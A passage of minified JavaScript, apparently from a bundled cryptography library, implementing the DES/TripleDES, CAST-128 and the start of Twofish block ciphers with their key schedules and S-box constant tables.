4288,268959744,2,268435458,524290,268959746],c=[0,65536,2048,67584,536870912,536936448,536872960,536938496,131072,196608,133120,198656,537001984,537067520,537004032,537069568],u=[0,262144,0,262144,2,262146,2,262146,33554432,33816576,33554432,33816576,33554434,33816578,33554434,33816578],h=[0,268435456,8,268435464,0,268435456,8,268435464,1024,268436480,1032,268436488,1024,268436480,1032,268436488],d=[0,32,0,32,1048576,1048608,1048576,1048608,8192,8224,8192,8224,1056768,1056800,1056768,1056800],f=[0,16777216,512,16777728,2097152,18874368,2097664,18874880,67108864,83886080,67109376,83886592,69206016,85983232,69206528,85983744],l=[0,4096,134217728,134221824,524288,528384,134742016,134746112,16,4112,134217744,134221840,524304,528400,134742032,134746128],p=[0,4,256,260,0,4,256,260,1,5,257,261,1,5,257,261],y=e.length>8?3:1,b=Array(32*y),m=[0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0];let g,w,v,_=0,k=0;for(let A=0;A<y;A++){let y=e[_++]<<24|e[_++]<<16|e[_++]<<8|e[_++],A=e[_++]<<24|e[_++]<<16|e[_++]<<8|e[_++];v=252645135&(y>>>4^A),A^=v,y^=v<<4,v=65535&(A>>>-16^y),y^=v,A^=v<<-16,v=858993459&(y>>>2^A),A^=v,y^=v<<2,v=65535&(A>>>-16^y),y^=v,A^=v<<-16,v=1431655765&(y>>>1^A),A^=v,y^=v<<1,v=16711935&(A>>>8^y),y^=v,A^=v<<8,v=1431655765&(y>>>1^A),A^=v,y^=v<<1,v=y<<8|A>>>20&240,y=A<<24|A<<8&16711680|A>>>8&65280|A>>>24&240,A=v;for(let e=0;e<16;e++)m[e]?(y=y<<2|y>>>26,A=A<<2|A>>>26):(y=y<<1|y>>>27,A=A<<1|A>>>27),y&=-15,A&=-15,g=t[y>>>28]|r[y>>>24&15]|i[y>>>20&15]|n[y>>>16&15]|a[y>>>12&15]|s[y>>>8&15]|o[y>>>4&15],w=c[A>>>28]|u[A>>>24&15]|h[A>>>20&15]|d[A>>>16&15]|f[A>>>12&15]|l[A>>>8&15]|p[A>>>4&15],v=65535&(w>>>16^g),b[k++]=g^v,b[k++]=w^v<<16}return b}function Ce(e){this.key=[];for(let t=0;t<3;t++)this.key.push(new Uint8Array(e.subarray(8*t,8*t+8)));this.encrypt=function(e){return xe(Me(this.key[2]),xe(Me(this.key[1]),xe(Me(this.key[0]),e,!0,0,null,null),!1,0,null,null),!0,0,null,null)}}function Ke(){this.BlockSize=8,this.KeySize=16,this.setKey=function(e){if(this.masking=Array(16),this.rotate=Array(16),this.reset(),e.length!==this.KeySize)throw Error("CAST-128: keys must be 16 bytes");return this.keySchedule(e),!0},this.reset=function(){for(let e=0;e<16;e++)this.masking[e]=0,this.rotate[e]=0},this.getBlockSize=function(){return this.BlockSize},this.encrypt=function(e){const t=Array(e.length);for(let a=0;a<e.length;a+=8){let s,o=e[a]<<24|e[a+1]<<16|e[a+2]<<8|e[a+3],c=e[a+4]<<24|e[a+5]<<16|e[a+6]<<8|e[a+7];s=c,c=o^r(c,this.masking[0],this.rotate[0]),o=s,s=c,c=o^i(c,this.masking[1],this.rotate[1]),o=s,s=c,c=o^n(c,this.masking[2],this.rotate[2]),o=s,s=c,c=o^r(c,this.masking[3],this.rotate[3]),o=s,s=c,c=o^i(c,this.masking[4],this.rotate[4]),o=s,s=c,c=o^n(c,this.masking[5],this.rotate[5]),o=s,s=c,c=o^r(c,this.masking[6],this.rotate[6]),o=s,s=c,c=o^i(c,this.masking[7],this.rotate[7]),o=s,s=c,c=o^n(c,this.masking[8],this.rotate[8]),o=s,s=c,c=o^r(c,this.masking[9],this.rotate[9]),o=s,s=c,c=o^i(c,this.masking[10],this.rotate[10]),o=s,s=c,c=o^n(c,this.masking[11],this.rotate[11]),o=s,s=c,c=o^r(c,this.masking[12],this.rotate[12]),o=s,s=c,c=o^i(c,this.masking[13],this.rotate[13]),o=s,s=c,c=o^n(c,this.masking[14],this.rotate[14]),o=s,s=c,c=o^r(c,this.masking[15],this.rotate[15]),o=s,t[a]=c>>>24&255,t[a+1]=c>>>16&255,t[a+2]=c>>>8&255,t[a+3]=255&c,t[a+4]=o>>>24&255,t[a+5]=o>>>16&255,t[a+6]=o>>>8&255,t[a+7]=255&o}return t},this.decrypt=function(e){const t=Array(e.length);for(let a=0;a<e.length;a+=8){let s,o=e[a]<<24|e[a+1]<<16|e[a+2]<<8|e[a+3],c=e[a+4]<<24|e[a+5]<<16|e[a+6]<<8|e[a+7];s=c,c=o^r(c,this.masking[15],this.rotate[15]),o=s,s=c,c=o^n(c,this.masking[14],this.rotate[14]),o=s,s=c,c=o^i(c,this.masking[13],this.rotate[13]),o=s,s=c,c=o^r(c,this.masking[12],this.rotate[12]),o=s,s=c,c=o^n(c,this.masking[11],this.rotate[11]),o=s,s=c,c=o^i(c,this.masking[10],this.rotate[10]),o=s,s=c,c=o^r(c,this.masking[9],this.rotate[9]),o=s,s=c,c=o^n(c,this.masking[8],this.rotate[8]),o=s,s=c,c=o^i(c,this.masking[7],this.rotate[7]),o=s,s=c,c=o^r(c,this.masking[6],this.rotate[6]),o=s,s=c,c=o^n(c,this.masking[5],this.rotate[5]),o=s,s=c,c=o^i(c,this.masking[4],this.rotate[4]),o=s,s=c,c=o^r(c,this.masking[3],this.rotate[3]),o=s,s=c,c=o^n(c,this.masking[2],this.rotate[2]),o=s,s=c,c=o^i(c,this.masking[1],this.rotate[1]),o=s,s=c,c=o^r(c,this.masking[0],this.rotate[0]),o=s,t[a]=c>>>24&255,t[a+1]=c>>>16&255,t[a+2]=c>>>8&255,t[a+3]=255&c,t[a+4]=o>>>24&255,t[a+5]=o>>16&255,t[a+6]=o>>8&255,t[a+7]=255&o}return t};const e=[,,,,];e[0]=[,,,,],e[0][0]=[4,0,13,15,12,14,8],e[0][1]=[5,2,16,18,17,19,10],e[0][2]=[6,3,23,22,21,20,9],e[0][3]=[7,1,26,25,27,24,11],e[1]=[,,,,],e[1][0]=[0,6,21,23,20,22,16],e[1][1]=[1,4,0,2,1,3,18],e[1][2]=[2,5,7,6,5,4,17],e[1][3]=[3,7,10,9,11,8,19],e[2]=[,,,,],e[2][0]=[4,0,13,15,12,14,8],e[2][1]=[5,2,16,18,17,19,10],e[2][2]=[6,3,23,22,21,20,9],e[2][3]=[7,1,26,25,27,24,11],e[3]=[,,,,],e[3][0]=[0,6,21,23,20,22,16],e[3][1]=[1,4,0,2,1,3,18],e[3][2]=[2,5,7,6,5,4,17],e[3][3]=[3,7,10,9,11,8,19];const t=[,,,,];function r(e,t,r){const i=t+e,n=i<<r|i>>>32-r;return(a[0][n>>>24]^a[1][n>>>16&255])-a[2][n>>>8&255]+a[3][255&n]}function i(e,t,r){const i=t^e,n=i<<r|i>>>32-r;return a[0][n>>>24]-a[1][n>>>16&255]+a[2][n>>>8&255]^a[3][255&n]}function n(e,t,r){const i=t-e,n=i<<r|i>>>32-r;return(a[0][n>>>24]+a[1][n>>>16&255]^a[2][n>>>8&255])-a[3][255&n]}t[0]=[,,,,],t[0][0]=[24,25,23,22,18],t[0][1]=[26,27,21,20,22],t[0][2]=[28,29,19,18,25],t[0][3]=[30,31,17,16,28],t[1]=[,,,,],t[1][0]=[3,2,12,13,8],t[1][1]=[1,0,14,15,13],t[1][2]=[7,6,8,9,3],t[1][3]=[5,4,10,11,7],t[2]=[,,,,],t[2][0]=[19,18,28,29,25],t[2][1]=[17,16,30,31,28],t[2][2]=[23,22,24,25,18],t[2][3]=[21,20,26,27,22],t[3]=[,,,,],t[3][0]=[8,9,7,6,3],t[3][1]=[10,11,5,4,7],t[3][2]=[12,13,3,2,8],t[3][3]=[14,15,1,0,13],this.keySchedule=function(r){const i=[,,,,,,,,],n=Array(32);let s;for(let e=0;e<4;e++)s=4*e,i[e]=r[s]<<24|r[s+1]<<16|r[s+2]<<8|r[s+3];const o=[6,7,4,5];let c,u=0;for(let r=0;r<2;r++)for(let r=0;r<4;r++){for(s=0;s<4;s++){const t=e[r][s];c=i[t[1]],c^=a[4][i[t[2]>>>2]>>>24-8*(3&t[2])&255],c^=a[5][i[t[3]>>>2]>>>24-8*(3&t[3])&255],c^=a[6][i[t[4]>>>2]>>>24-8*(3&t[4])&255],c^=a[7][i[t[5]>>>2]>>>24-8*(3&t[5])&255],c^=a[o[s]][i[t[6]>>>2]>>>24-8*(3&t[6])&255],i[t[0]]=c}for(s=0;s<4;s++){const e=t[r][s];c=a[4][i[e[0]>>>2]>>>24-8*(3&e[0])&255],c^=a[5][i[e[1]>>>2]>>>24-8*(3&e[1])&255],c^=a[6][i[e[2]>>>2]>>>24-8*(3&e[2])&255],c^=a[7][i[e[3]>>>2]>>>24-8*(3&e[3])&255],c^=a[4+s][i[e[4]>>>2]>>>24-8*(3&e[4])&255],n[u]=c,u++}}for(let e=0;e<16;e++)this.masking[e]=n[e],this.rotate[e]=31&n[16+e]};const a=[,,,,,,,,];a[0]=[821772500,2678128395,1810681135,1059425402,505495343,2617265619,1610868032,3483355465,3218386727,2294005173,3791863952,2563806837,1852023008,365126098,3269944861,584384398,677919599,3229601881,4280515016,2002735330,1136869587,3744433750,2289869850,2731719981,2714362070,879511577,1639411079,575934255,717107937,2857637483,576097850,2731753936,1725645e3,2810460463,5111599,767152862,2543075244,1251459544,1383482551,3052681127,3089939183,3612463449,1878520045,1510570527,2189125840,2431448366,582008916,3163445557,1265446783,1354458274,3529918736,3202711853,3073581712,3912963487,3029263377,1275016285,4249207360,2905708351,3304509486,1442611557,3585198765,2712415662,2731849581,3248163920,2283946226,208555832,2766454743,1331405426,1447828783,3315356441,3108627284,2957404670,2981538698,3339933917,1669711173,286233437,1465092821,1782121619,3862771680,710211251,980974943,1651941557,430374111,2051154026,704238805,4128970897,3144820574,2857402727,948965521,3333752299,2227686284,718756367,2269778983,2731643755,718440111,2857816721,3616097120,1113355533,2478022182,410092745,1811985197,1944238868,2696854588,1415722873,1682284203,1060277122,1998114690,1503841958,82706478,2315155686,1068173648,845149890,2167947013,1768146376,1993038550,3566826697,3390574031,940016341,3355073782,2328040721,904371731,1205506512,4094660742,2816623006,825647681,85914773,2857843460,1249926541,1417871568,3287612,3211054559,3126306446,1975924523,1353700161,2814456437,2438597621,1800716203,722146342,2873936343,1151126914,4160483941,2877670899,458611604,2866078500,3483680063,770352098,2652916994,3367839148,3940505011,3585973912,3809620402,718646636,2504206814,2914927912,3631288169,2857486607,2860018678,575749918,2857478043,718488780,2069512688,3548183469,453416197,1106044049,3032691430,52586708,3378514636,3459808877,3211506028,1785789304,218356169,3571399134,3759170522,1194783844,1523787992,3007827094,1975193539,2555452411,1341901877,3045838698,3776907964,3217423946,2802510864,2889438986,1057244207,1636348243,3761863214,1462225785,2632663439,481089165,718503062,24497053,3332243209,3344655856,3655024856,3960371065,1195698900,2971415156,3710176158,2115785917,4027663609,3525578417,2524296189,2745972565,3564906415,1372086093,1452307862,2780501478,1476592880,3389271281,18495466,2378148571,901398090,891748256,3279637769,3157290713,2560960102,1447622437,4284372637,216884176,2086908623,1879786977,3588903153,2242455666,2938092967,3559082096,2810645491,758861177,1121993112,215018983,642190776,4169236812,1196255959,2081185372,3508738393,941322904,4124243163,2877523539,1848581667,2205260958,3180453958,2589345134,3694731276,550028657,2519456284,3789985535,2973870856,2093648313,443148163,46942275,2734146937,1117713533,1115362972,1523183689,3717140224,1551984063],a[1]=[522195092,4010518363,1776537470,960447360,4267822970,4005896314,1435016340,1929119313,2913464185,1310552629,3579470798,3724818106,2579771631,1594623892,417127293,2715217907,2696228731,1508390405,3994398868,3925858569,3695444102,4019471449,3129199795,3770928635,3520741761,990456497,4187484609,2783367035,21106139,3840405339,631373633,3783325702,532942976,396095098,3548038825,4267192484,2564721535,2011709262,2039648873,620404603,3776170075,2898526339,3612357925,4159332703,1645490516,223693667,1567101217,3362177881,1029951347,3470931136,3570957959,1550265121,119497089,972513919,907948164,3840628539,1613718692,3594177948,465323573,2659255085,654439692,2575596212,2699288441,3127702412,277098644,624404830,4100943870,2717858591,546110314,2403699828,3655377447,1321679412,4236791657,1045293279,4010672264,895050893,2319792268,494945126,1914543101,2777056443,3894764339,2219737618,311263384,4275257268,3458730721,669096869,3584475730,3835122877,3319158237,3949359204,2005142349,2713102337,2228954793,3769984788,569394103,3855636576,1425027204,108000370,2736431443,3671869269,3043122623,1750473702,2211081108,762237499,3972989403,2798899386,3061857628,2943854345,867476300,964413654,1591880597,1594774276,2179821409,552026980,3026064248,3726140315,2283577634,3110545105,2152310760,582474363,1582640421,1383256631,2043843868,3322775884,1217180674,463797851,2763038571,480777679,2718707717,2289164131,3118346187,214354409,200212307,3810608407,3025414197,2674075964,3997296425,1847405948,1342460550,510035443,4080271814,815934613,833030224,1620250387,1945732119,2703661145,3966000196,1388869545,3456054182,2687178561,2092620194,562037615,1356438536,3409922145,3261847397,1688467115,2150901366,631725691,3840332284,549916902,3455104640,394546491,837744717,2114462948,751520235,2221554606,2415360136,3999097078,2063029875,803036379,2702586305,821456707,3019566164,360699898,4018502092,3511869016,3677355358,2402471449,812317050,49299192,2570164949,3259169295,2816732080,3331213574,3101303564,2156015656,3705598920,3546263921,143268808,3200304480,1638124008,3165189453,3341807610,578956953,2193977524,3638120073,2333881532,807278310,658237817,2969561766,1641658566,11683945,3086995007,148645947,1138423386,4158756760,1981396783,2401016740,3699783584,380097457,2680394679,2803068651,3334260286,441530178,4016580796,1375954390,761952171,891809099,2183123478,157052462,3683840763,1592404427,341349109,2438483839,1417898363,644327628,2233032776,2353769706,2201510100,220455161,1815641738,182899273,2995019788,3627381533,3702638151,2890684138,1052606899,588164016,1681439879,4038439418,2405343923,4229449282,167996282,1336969661,1688053129,2739224926,1543734051,1046297529,1138201970,2121126012,115334942,1819067631,1902159161,1941945968,2206692869,1159982321],a[2]=[2381300288,637164959,3952098751,3893414151,1197506559,916448331,2350892612,2932787856,3199334847,4009478890,3905886544,1373570990,2450425862,4037870920,3778841987,2456817877,286293407,124026297,3001279700,1028597854,3115296800,4208886496,2691114635,2188540206,1430237888,1218109995,3572471700,308166588,570424558,2187009021,2455094765,307733056,1310360322,3135275007,1384269543,2388071438,863238079,2359263624,2801553128,3380786597,2831162807,1470087780,1728663345,4072488799,1090516929,532123132,2389430977,1132193179,2578464191,3051079243,1670234342,1434557849,2711078940,1241591150,3314043432,3435360113,3091448339,1812415473,2198440252,267246943,796911696,3619716990,38830015,1526438404,2806502096,374413614,2943401790,1489179520,1603809326,1920779204,168801282,260042626,2358705581,1563175598,2397674057,1356499128,2217211040,514611088,2037363785,2186468373,4022173083,2792511869,2913485016,1173701892,4200428547,3896427269,1334932762,2455136706,602925377,2835607854,1613172210,41346230,2499634548,2457437618,2188827595,41386358,4172255629,1313404830,2405527007,3801973774,2217704835,873260488,2528884354,2478092616,4012915883,2555359016,2006953883,2463913485,575479328,2218240648,2099895446,660001756,2341502190,3038761536,3888151779,3848713377,3286851934,1022894237,1620365795,3449594689,1551255054,15374395,3570825345,4249311020,4151111129,3181912732,310226346,1133119310,530038928,136043402,2476768958,3107506709,2544909567,1036173560,2367337196,1681395281,1758231547,3641649032,306774401,1575354324,3716085866,1990386196,3114533736,2455606671,1262092282,3124342505,2768229131,4210529083,1833535011,423410938,660763973,2187129978,1639812e3,3508421329,3467445492,310289298,272797111,2188552562,2456863912,310240523,677093832,1013118031,901835429,3892695601,1116285435,3036471170,1337354835,243122523,520626091,277223598,4244441197,4194248841,1766575121,594173102,316590669,742362309,3536858622,4176435350,3838792410,2501204839,1229605004,3115755532,1552908988,2312334149,979407927,3959474601,1148277331,176638793,3614686272,2083809052,40992502,1340822838,2731552767,3535757508,3560899520,1354035053,122129617,7215240,2732932949,3118912700,2718203926,2539075635,3609230695,3725561661,1928887091,2882293555,1988674909,2063640240,2491088897,1459647954,4189817080,2302804382,1113892351,2237858528,1927010603,4002880361,1856122846,1594404395,2944033133,3855189863,3474975698,1643104450,4054590833,3431086530,1730235576,2984608721,3084664418,2131803598,4178205752,267404349,1617849798,1616132681,1462223176,736725533,2327058232,551665188,2945899023,1749386277,2575514597,1611482493,674206544,2201269090,3642560800,728599968,1680547377,2620414464,1388111496,453204106,4156223445,1094905244,2754698257,2201108165,3757000246,2704524545,3922940700,3996465027],a[3]=[2645754912,532081118,2814278639,3530793624,1246723035,1689095255,2236679235,4194438865,2116582143,3859789411,157234593,2045505824,4245003587,1687664561,4083425123,605965023,672431967,1336064205,3376611392,214114848,4258466608,3232053071,489488601,605322005,3998028058,264917351,1912574028,756637694,436560991,202637054,135989450,85393697,2152923392,3896401662,2895836408,2145855233,3535335007,115294817,3147733898,1922296357,3464822751,4117858305,1037454084,2725193275,2127856640,1417604070,1148013728,1827919605,642362335,2929772533,909348033,1346338451,3547799649,297154785,1917849091,4161712827,2883604526,3968694238,1469521537,3780077382,3375584256,1763717519,136166297,4290970789,1295325189,2134727907,2798151366,1566297257,3672928234,2677174161,2672173615,965822077,2780786062,289653839,1133871874,3491843819,35685304,1068898316,418943774,672553190,642281022,2346158704,1954014401,3037126780,4079815205,2030668546,3840588673,672283427,1776201016,359975446,3750173538,555499703,2769985273,1324923,69110472,152125443,3176785106,3822147285,1340634837,798073664,1434183902,15393959,216384236,1303690150,3881221631,3711134124,3960975413,106373927,2578434224,1455997841,1801814300,1578393881,1854262133,3188178946,3258078583,2302670060,1539295533,3505142565,3078625975,2372746020,549938159,3278284284,2620926080,181285381,2865321098,3970029511,68876850,488006234,1728155692,2608167508,836007927,2435231793,919367643,3339422534,3655756360,1457871481,40520939,1380155135,797931188,234455205,2255801827,3990488299,397000196,739833055,3077865373,2871719860,4022553888,772369276,390177364,3853951029,557662966,740064294,1640166671,1699928825,3535942136,622006121,3625353122,68743880,1742502,219489963,1664179233,1577743084,1236991741,410585305,2366487942,823226535,1050371084,3426619607,3586839478,212779912,4147118561,1819446015,1911218849,530248558,3486241071,3252585495,2886188651,3410272728,2342195030,20547779,2982490058,3032363469,3631753222,312714466,1870521650,1493008054,3491686656,615382978,4103671749,2534517445,1932181,2196105170,278426614,6369430,3274544417,2913018367,697336853,2143000447,2946413531,701099306,1558357093,2805003052,3500818408,2321334417,3567135975,216290473,3591032198,23009561,1996984579,3735042806,2024298078,3739440863,569400510,2339758983,3016033873,3097871343,3639523026,3844324983,3256173865,795471839,2951117563,4101031090,4091603803,3603732598,971261452,534414648,428311343,3389027175,2844869880,694888862,1227866773,2456207019,3043454569,2614353370,3749578031,3676663836,459166190,4132644070,1794958188,51825668,2252611902,3084671440,2036672799,3436641603,1099053433,2469121526,3059204941,1323291266,2061838604,1018778475,2233344254,2553501054,334295216,3556750194,1065731521,183467730],a[4]=[2127105028,745436345,2601412319,2788391185,3093987327,500390133,1155374404,389092991,150729210,3891597772,3523549952,1935325696,716645080,946045387,2901812282,1774124410,3869435775,4039581901,3293136918,3438657920,948246080,363898952,3867875531,1286266623,1598556673,68334250,630723836,1104211938,1312863373,613332731,2377784574,1101634306,441780740,3129959883,1917973735,2510624549,3238456535,2544211978,3308894634,1299840618,4076074851,1756332096,3977027158,297047435,3790297736,2265573040,3621810518,1311375015,1667687725,47300608,3299642885,2474112369,201668394,1468347890,576830978,3594690761,3742605952,1958042578,1747032512,3558991340,1408974056,3366841779,682131401,1033214337,1545599232,4265137049,206503691,103024618,2855227313,1337551222,2428998917,2963842932,4015366655,3852247746,2796956967,3865723491,3747938335,247794022,3755824572,702416469,2434691994,397379957,851939612,2314769512,218229120,1380406772,62274761,214451378,3170103466,2276210409,3845813286,28563499,446592073,1693330814,3453727194,29968656,3093872512,220656637,2470637031,77972100,1667708854,1358280214,4064765667,2395616961,325977563,4277240721,4220025399,3605526484,3355147721,811859167,3069544926,3962126810,652502677,3075892249,4132761541,3498924215,1217549313,3250244479,3858715919,3053989961,1538642152,2279026266,2875879137,574252750,3324769229,2651358713,1758150215,141295887,2719868960,3515574750,4093007735,4194485238,1082055363,3417560400,395511885,2966884026,179534037,3646028556,3738688086,1092926436,2496269142,257381841,3772900718,1636087230,1477059743,2499234752,3811018894,2675660129,3285975680,90732309,1684827095,1150307763,1723134115,3237045386,1769919919,1240018934,815675215,750138730,2239792499,1234303040,1995484674,138143821,675421338,1145607174,1936608440,3238603024,2345230278,2105974004,323969391,779555213,3004902369,2861610098,1017501463,2098600890,2628620304,2940611490,2682542546,1171473753,3656571411,3687208071,4091869518,393037935,159126506,1662887367,1147106178,391545844,3452332695,1891500680,3016609650,1851642611,546529401,1167818917,3194020571,2848076033,3953471836,575554290,475796850,4134673196,450035699,2351251534,844027695,1080539133,86184846,1554234488,3692025454,1972511363,2018339607,1491841390,1141460869,1061690759,4244549243,2008416118,2351104703,2868147542,1598468138,722020353,1027143159,212344630,1387219594,1725294528,3745187956,2500153616,458938280,4129215917,1828119673,544571780,3503225445,2297937496,1241802790,267843827,2694610800,1397140384,1558801448,3782667683,1806446719,929573330,2234912681,400817706,616011623,4121520928,3603768725,1761550015,1968522284,4053731006,4192232858,4005120285,872482584,3140537016,3894607381,2287405443,1963876937,3663887957,1584857e3,2975024454,1833426440,4025083860],a[5]=[4143615901,749497569,1285769319,3795025788,2514159847,23610292,3974978748,844452780,3214870880,3751928557,2213566365,1676510905,448177848,3730751033,4086298418,2307502392,871450977,3222878141,4110862042,3831651966,2735270553,1310974780,2043402188,1218528103,2736035353,4274605013,2702448458,3936360550,2693061421,162023535,2827510090,687910808,23484817,3784910947,3371371616,779677500,3503626546,3473927188,4157212626,3500679282,4248902014,2466621104,3899384794,1958663117,925738300,1283408968,3669349440,1840910019,137959847,2679828185,1239142320,1315376211,1547541505,1690155329,739140458,3128809933,3933172616,3876308834,905091803,1548541325,4040461708,3095483362,144808038,451078856,676114313,2861728291,2469707347,993665471,373509091,2599041286,4025009006,4170239449,2149739950,3275793571,3749616649,2794760199,1534877388,572371878,2590613551,1753320020,3467782511,1405125690,4270405205,633333386,3026356924,3475123903,632057672,2846462855,1404951397,3882875879,3915906424,195638627,2385783745,3902872553,1233155085,3355999740,2380578713,2702246304,2144565621,3663341248,3894384975,2502479241,4248018925,3094885567,1594115437,572884632,3385116731,767645374,1331858858,1475698373,3793881790,3532746431,1321687957,619889600,1121017241,3440213920,2070816767,2833025776,1933951238,4095615791,890643334,3874130214,859025556,360630002,925594799,1764062180,3920222280,4078305929,979562269,2810700344,4087740022,1949714515,546639971,1165388173,3069891591,1495988560,922170659,1291546247,2107952832,1813327274,3406010024,3306028637,4241950635,153207855,2313154747,1608695416,1150242611,1967526857,721801357,1220138373,3691287617,3356069787,2112743302,3281662835,1111556101,1778980689,250857638,2298507990,673216130,2846488510,3207751581,3562756981,3008625920,3417367384,2198807050,529510932,3547516680,3426503187,2364944742,102533054,2294910856,1617093527,1204784762,3066581635,1019391227,1069574518,1317995090,1691889997,3661132003,510022745,3238594800,1362108837,1817929911,2184153760,805817662,1953603311,3699844737,120799444,2118332377,207536705,2282301548,4120041617,145305846,2508124933,3086745533,3261524335,1877257368,2977164480,3160454186,2503252186,4221677074,759945014,254147243,2767453419,3801518371,629083197,2471014217,907280572,3900796746,940896768,2751021123,2625262786,3161476951,3661752313,3260732218,1425318020,2977912069,1496677566,3988592072,2140652971,3126511541,3069632175,977771578,1392695845,1698528874,1411812681,1369733098,1343739227,3620887944,1142123638,67414216,3102056737,3088749194,1626167401,2546293654,3941374235,697522451,33404913,143560186,2595682037,994885535,1247667115,3859094837,2699155541,3547024625,4114935275,2968073508,3199963069,2732024527,1237921620,951448369,1898488916,1211705605,2790989240,2233243581,3598044975],a[6]=[2246066201,858518887,1714274303,3485882003,713916271,2879113490,3730835617,539548191,36158695,1298409750,419087104,1358007170,749914897,2989680476,1261868530,2995193822,2690628854,3443622377,3780124940,3796824509,2976433025,4259637129,1551479e3,512490819,1296650241,951993153,2436689437,2460458047,144139966,3136204276,310820559,3068840729,643875328,1969602020,1680088954,2185813161,3283332454,672358534,198762408,896343282,276269502,3014846926,84060815,197145886,376173866,3943890818,3813173521,3545068822,1316698879,1598252827,2633424951,1233235075,859989710,2358460855,3503838400,3409603720,1203513385,1193654839,2792018475,2060853022,207403770,1144516871,3068631394,1121114134,177607304,3785736302,326409831,1929119770,2983279095,4183308101,3474579288,3200513878,3228482096,119610148,1170376745,3378393471,3163473169,951863017,3337026068,3135789130,2907618374,1183797387,2015970143,4045674555,2182986399,2952138740,3928772205,384012900,2454997643,10178499,2879818989,2596892536,111523738,2995089006,451689641,3196290696,235406569,1441906262,3890558523,3013735005,4158569349,1644036924,376726067,1006849064,3664579700,2041234796,1021632941,1374734338,2566452058,371631263,4007144233,490221539,206551450,3140638584,1053219195,1853335209,3412429660,3562156231,735133835,1623211703,3104214392,2738312436,4096837757,3366392578,3110964274,3956598718,3196820781,2038037254,3877786376,2339753847,300912036,3766732888,2372630639,1516443558,4200396704,1574567987,4069441456,4122592016,2699739776,146372218,2748961456,2043888151,35287437,2596680554,655490400,1132482787,110692520,1031794116,2188192751,1324057718,1217253157,919197030,686247489,3261139658,1028237775,3135486431,3059715558,2460921700,986174950,2661811465,4062904701,2752986992,3709736643,367056889,1353824391,731860949,1650113154,1778481506,784341916,357075625,3608602432,1074092588,2480052770,3811426202,92751289,877911070,3600361838,1231880047,480201094,3756190983,3094495953,434011822,87971354,363687820,1717726236,1901380172,3926403882,2481662265,400339184,1490350766,2661455099,1389319756,2558787174,784598401,1983468483,30828846,3550527752,2716276238,3841122214,1765724805,1955612312,1277890269,1333098070,1564029816,2704417615,1026694237,3287671188,1260819201,3349086767,1016692350,1582273796,1073413053,1995943182,694588404,1025494639,3323872702,3551898420,4146854327,453260480,1316140391,1435673405,3038941953,3486689407,1622062951,403978347,817677117,950059133,4246079218,3278066075,1486738320,1417279718,481875527,2549965225,3933690356,760697757,1452955855,3897451437,1177426808,1702951038,4085348628,2447005172,1084371187,3516436277,3068336338,1073369276,1027665953,3284188590,1230553676,1368340146,2226246512,267243139,2274220762,4070734279,2497715176,2423353163,2504755875],a[7]=[3793104909,3151888380,2817252029,895778965,2005530807,3871412763,237245952,86829237,296341424,3851759377,3974600970,2475086196,709006108,1994621201,2972577594,937287164,3734691505,168608556,3189338153,2225080640,3139713551,3033610191,3025041904,77524477,185966941,1208824168,2344345178,1721625922,3354191921,1066374631,1927223579,1971335949,2483503697,1551748602,2881383779,2856329572,3003241482,48746954,1398218158,2050065058,313056748,4255789917,393167848,1912293076,940740642,3465845460,3091687853,2522601570,2197016661,1727764327,364383054,492521376,1291706479,3264136376,1474851438,1685747964,2575719748,1619776915,1814040067,970743798,1561002147,2925768690,2123093554,1880132620,3151188041,697884420,2550985770,2607674513,2659114323,110200136,1489731079,997519150,1378877361,3527870668,478029773,2766872923,1022481122,431258168,1112503832,897933369,2635587303,669726182,3383752315,918222264,163866573,3246985393,3776823163,114105080,1903216136,761148244,3571337562,1690750982,3166750252,1037045171,1888456500,2010454850,642736655,616092351,365016990,1185228132,4174898510,1043824992,2023083429,2241598885,3863320456,3279669087,3674716684,108438443,2132974366,830746235,606445527,4173263986,2204105912,1844756978,2532684181,4245352700,2969441100,3796921661,1335562986,4061524517,2720232303,2679424040,634407289,885462008,3294724487,3933892248,2094100220,339117932,4048830727,3202280980,1458155303,2689246273,1022871705,2464987878,3714515309,353796843,2822958815,4256850100,4052777845,551748367,618185374,3778635579,4020649912,1904685140,3069366075,2670879810,3407193292,2954511620,4058283405,2219449317,3135758300,1120655984,3447565834,1474845562,3577699062,550456716,3466908712,2043752612,881257467,869518812,2005220179,938474677,3305539448,3850417126,1315485940,3318264702,226533026,965733244,321539988,1136104718,804158748,573969341,3708209826,937399083,3290727049,2901666755,1461057207,4013193437,4066861423,3242773476,2421326174,1581322155,3028952165,786071460,3900391652,3918438532,1485433313,4023619836,3708277595,3678951060,953673138,1467089153,1930354364,1533292819,2492563023,1346121658,1685000834,1965281866,3765933717,4190206607,2052792609,3515332758,690371149,3125873887,2180283551,2903598061,3933952357,436236910,289419410,14314871,1242357089,2904507907,1616633776,2666382180,585885352,3471299210,2699507360,1432659641,277164553,3354103607,770115018,2303809295,3741942315,3177781868,2853364978,2269453327,3774259834,987383833,1290892879,225909803,1741533526,890078084,1496906255,1111072499,916028167,243534141,1252605537,2204162171,531204876,290011180,3916834213,102027703,237315147,209093447,1486785922,220223953,2758195998,4175039106,82940208,3127791296,2569425252,518464269,1353887104,3941492737,2377294467,3935040926]}function De(e){this.cast5=new Ke,this.cast5.setKey(e),this.encrypt=function(e){return this.cast5.encrypt(e)}}Ce.keySize=Ce.prototype.keySize=24,Ce.blockSize=Ce.prototype.blockSize=8,De.blockSize=De.prototype.blockSize=8,De.keySize=De.prototype.keySize=16;const Re=4294967295;function Ie(e,t){return(e<<t|e>>>32-t)&Re}function Ue(e,t){return e[t]|e[t+1]<<8|e[t+2]<<16|e[t+3]<<24}function Be(e,t,r){e.splice(t,4,255&r,r>>>8&255,r>>>16&255,r>>>24&255)}function Te(e,t){return e>>>8*t&255}function ze(e){this.tf=function(){let e=null,t=null,r=-1,i=[],n=[[],[],[],[]];function a(e){return n[0][Te(e,0)]^n[1][Te(e,1)]^n[2][Te(e,2)]^n[3][Te(e,3)]}function s(e){return n[0][Te(e,3)]^n[1][Te(e,0)]^n[2][Te(e,1)]^n[3][Te(e,2)]}function o(e,t){let r=a(t[0]),n=s(t[1]);t[2]=Ie(t[2]^r+n+i[4*e+8]&Re,31),t[3]=Ie(t[3],1)^r+2*n+i[4*e+9]&Re,r=a(t[2]),n=s(t[3]),t[0]=Ie(t[0]^r+n+i[4*e+10]&Re,31),t[1]=Ie(t[1],1)^r+2*n+i[4*e+11]&Re}function c(e,t){let 